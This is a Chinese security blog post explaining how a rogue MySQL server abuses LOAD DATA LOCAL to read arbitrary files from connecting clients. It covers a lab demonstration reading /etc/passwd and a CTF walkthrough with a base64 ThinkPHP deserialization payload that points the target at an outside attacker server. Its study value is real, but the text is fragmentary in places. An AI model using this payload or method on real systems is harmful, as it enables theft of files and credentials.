LOAD DATA LOCAL
命令来读取MYSQL客户端的任意文件。这应该是一个很早以前就爆出来的漏洞,当年 TCTF2018 final 线下赛的比赛中,Dragon Sector 和 Cykor 就是用这个漏洞来非预期了 h4x0r’s club 这道题。LOAD DATA INFILE
语句用于高速地从一个文本文件中读取行,并写入一个表中。文件名称必须为一个文字字符串。LOAD DATA INFILE
是 SELECT ... INTO OUTFILE
的相对语句。把表的数据备份到文件使用SELECT ... INTO OUTFILE
,从备份文件恢复表数据,使用 LOAD DATA INFILE
。标准示例:
SQL
Copy successfully
1 | load data infile "/data/data.csv" into table TestTable; |
第一行是读取服务端本地的文件,第二行是读取客户端本地的文件。
如下所示,我们读取客户端本地的data.csv文件到服务端数据库的TestTable表中:
SQL
1 | load data local infile "/tmp/data.csv" into table TestTable FIELDS TERMINATED BY ','; |
除了csv文件,我们还可以读取任意格式的文件到表中:
SQL
1 | load data local infile "/etc/passwd" into table TestTable FIELDS TERMINATED BY '\n'; |
LOAD DATA INFILE
这个语句是不安全的,在MySQL的官方文档里也充分说明了这一点:https://dev.mysql.com/doc/mysql-security-excerpt/5.7/en/load-data-local-security.html其大致意思如下:
LOAD DATA LOCAL
是SQL语句,其执行是在服务器端进行的,并且文件从客户端主机到服务器主机的传输是由MySQL服务器启动的,MySQL服务端将告诉客户端该语句中命名的文件。从理论上讲,打补丁的服务器可以告诉客户端程序传输服务器选择的任何文件,而不是语句中命名的文件。这样的服务器可以访问客户端用户具有读取权限的客户端主机上的任何文件。下面,我们就围绕这个点所产生的漏洞进行详细的分析。
LOAD DATA LOCAL
命令来读取MYSQL客户端的任意文件。LOAD DATA INFILE
命令,可以读取一个文件内容并插入到表中。如下,当MySQL客户端以下执行 LOAD DATA INFILE
命令后:
SQL
1 | load data local infile "/data/test.csv" into table TestTable; |
MySQL客户端与服务端的交互可以表示为一下对话:
客户端:把我我本地/data/test.csv的内容插入到TestTable表中去
服务端:请把你本地/data/test.csv的内容发送给我
客户端:好的,这是我本地/data/test.csv的内容:….
服务端:成功/失败
客户端:把我我本地/data/test.csv的内容插入到TestTable表中去
服务端:请把你本地/etc/passwd的内容发送给我
客户端:好的,这是我本地/etc/passwd的内容:….
服务端:….随意了
/etc/passwd
的文件内容。今天我要实现的就是做一个伪服务端来欺骗善良的客户端获得客户端主机上任意文件的过程。MySQL 官方文档中有一句话是这样说的:
“A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL”
LOAD DATA LOCAL
的时候。总结一下漏洞的成因:
LOAD DATA INFILE
读哪个文件是由服务端返回包的 file-transfer 请求决定,而不是客户端。LOAD DATA INFILE
的流程读取文件内容发给服务端总结一下整个攻击流程:
受害者向攻击者提供的服务器发起请求,并尝试进行身份认证
攻击者的MySQL接受到受害者的连接请求,攻击者发送正常的问候、身份验证正确,并且向受害者的MySQL客户端请求文件。
受害者的MySQL客户端认为身份验证正确,执行攻击者的发来的请求,通过 LOAD DATA INLINE
功能将文件内容发送回攻击者的MySQL服务器。
攻击者收到受害者服务器上的信息,读取文件成功,攻击完成。
CLIENT_LOCAL_FILES
属性,所以可能要在连接服务端的时候添加 --enable-local-infile
选项。以下是本次实验的测试环境。
攻击机(服务端):
Kali Linux
192.168.43.247
受害机(客户端):
Ubuntu
192.168.43.82
filelist
:元组 filelist
里面为要读取的受害者主机上的文件地址(读Windows文件时注意路径)。
然后在攻击机(服务端)上执行rogue_mysql_server.py脚本:
PYTHON
1 | python rogue_mysql_server.py |
然后,我们控制受害机(客户端)连接我们当才在攻击机上搭建的恶意服务端:
PYTHON
1 | mysql -h192.168.43.247 -uroot -p --enable-local-infile |
漏洞利用成功。
下面是整个攻击过程的wireshark抓包分析。我们在客户端
(1)客户端连接上攻击者伪造的服务端瞬间,服务端会向客户端发送 “Greeting” 数据包,服务端返回的banner,其中包含MySQL的版本等信息:
(2)然后客户端向服务端发送MySQL登录请求:
(4)之后就是执行 LOAD DATA LOCAL
语句进行文件传输了:
从抓到的流量包中我们可以看到,服务端读取了客户端上的 /etc/passwd 文件内容。
进入题目:
随便报个错发现是ThinkPHP 3.2.3,该版本存在反序列化造成的sql注入漏洞:
我们可以通过这个反序列化点触发sql注入,或者连接我们搭建的恶意的MySQL服务端。
去网上找个POP链然后改改参数直接打就行了:https://f5.pm/go-53579.html
1 | <?php |
执行POC生成payload:
PHP
1 | TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjQxOiJteXNxbC51c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsdXNlcigpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjk6InRoaW5rcGhwMyI7czo4OiJob3N0bmFtZSI7czoxMjoiNDcuMTAxLjU3LjcyIjtzOjg6Imhvc3Rwb3J0IjtzOjQ6IjIzMzMiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjg6InVzZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6MDoiIjt9fX19fQ== |
执行。如下图,成功将目标主机上的 /etc/passwd 读取出来:
利用成功。
在 Github 上就有一个 MysqlHoneypot,可以利用MySQL蜜罐去读取攻击者的微信ID。
挺好玩的,详情请看:https://www.freebuf.com/articles/web/270053.html
参考:
https://dev.mysql.com/doc/mysql-security-excerpt/5.7/en/load-data-local-security.html
https://www.freebuf.com/vuls/225420.html
https://blog.csdn.net/ls1120704214/article/details/88174003
https://www.moonsec.com/archives/1231
作者:Mockingjay